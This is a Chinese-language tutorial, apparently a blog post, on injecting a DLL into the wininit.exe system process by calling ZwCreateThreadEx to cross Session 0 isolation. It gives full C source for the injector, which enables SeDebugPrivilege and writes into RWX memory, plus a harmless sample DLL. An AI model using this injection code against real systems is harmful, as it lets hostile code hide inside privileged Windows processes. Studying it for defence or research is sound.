突破SESSION 0隔离的远线程注入

与传统的CreateRemoteThread函数实现的远线程注入DLL的唯一区别在于,突破SESSION 0远线程注 入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建远线程,而具体的远线 程注入原理是相同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include<stdio.h>
#include<windows.h>
#include<Tlhelp32.h>
#define NAME "wininit.exe"//被注入的进程
#define PATH "C:\\Users\\john\\Desktop\\mydll.dll"//要注入的dll绝对路径

BOOL GetProcessIDByName(char *,PDWORD);
BOOL EnbalePrivileges(HANDLE,char*);
typedef DWORD (WINAPI *ZwCreateThreadEx )(PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);

void main()
{
HANDLE hProcess = GetCurrentProcess();
char* pszPrivilegesName = "SeDebugPrivilege";
EnbalePrivileges(hProcess,pszPrivilegesName);

DWORD pid;
BOOL bRet = GetProcessIDByName(NAME,&pid);
if(bRet == FALSE)
{
return;
}
HANDLE hand = OpenProcess(PROCESS_ALL_ACCESS,NULL,pid);//打开进程句柄
if(!hand)
return;
LPVOID lpaddress = VirtualAllocEx(hand,NULL,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE);//申请指定大小内存,分配读写执行权限
if(!lpaddress)
return;
bool write = WriteProcessMemory(hand,lpaddress,PATH,MAX_PATH,NULL);//实现注入
if(!write)
return;
ZwCreateThreadEx myZwCreateThreadEx = (ZwCreateThreadEx)GetProcAddress(LoadLibrary("ntdll.dll"),"ZwCreateThreadEx");
HANDLE hRemoteThread = NULL;
myZwCreateThreadEx(&hRemoteThread,PROCESS_ALL_ACCESS,NULL,hand,(LPTHREAD_START_ROUTINE)LoadLibrary,lpaddress,0,0,0,0,NULL);//创建线程执行dll
}

BOOL GetProcessIDByName(char *name,PDWORD pid)
{
PROCESSENTRY32 pe32 = {0};
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//拍进程快照
if (INVALID_HANDLE_VALUE == hProcessSnap)
{
printf("CreateToolhelp32Snapshot Error :%d",GetLastError());
}
BOOL Ret = Process32First(hProcessSnap,&pe32);//枚举快照
while(Ret)
{
if( !strcmp(pe32.szExeFile,name))
{
*pid = pe32.th32ProcessID;
}
Ret = Process32Next(hProcessSnap,&pe32);//下一进程信息
}
return TRUE;
}
BOOL EnbalePrivileges(HANDLE hProcess,char* pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = {0};
TOKEN_PRIVILEGES tokenPrivileges = {0};
BOOL bRet = FALSE;
DWORD dwRet = OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES,&hToken);
printf("%d",GetLastError());
if(false == dwRet)
{
return FALSE;
}
bRet = LookupPrivilegeValue(NULL,pszPrivilegesName,&luidValue);//获取特权值LUID
if(false == bRet)
{
return FALSE;
}
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bRet = AdjustTokenPrivileges(hToken,FALSE,&tokenPrivileges,0,NULL,NULL);
if(false == bRet)
{
return FALSE;
}
dwRet = GetLastError();
if(ERROR_SUCCESS == dwRet)
{
printf("SUCCESS!!");
}
}

dll代码如下

1
2
3
4
5
6
7
8
#include<stdio.h>
#include<windows.h>

BOOL WINAPI DllMain(HANDLE hmoudle,DWORD call,LPVOID lpreser)
{
OutputDebugString("success");
return true;
}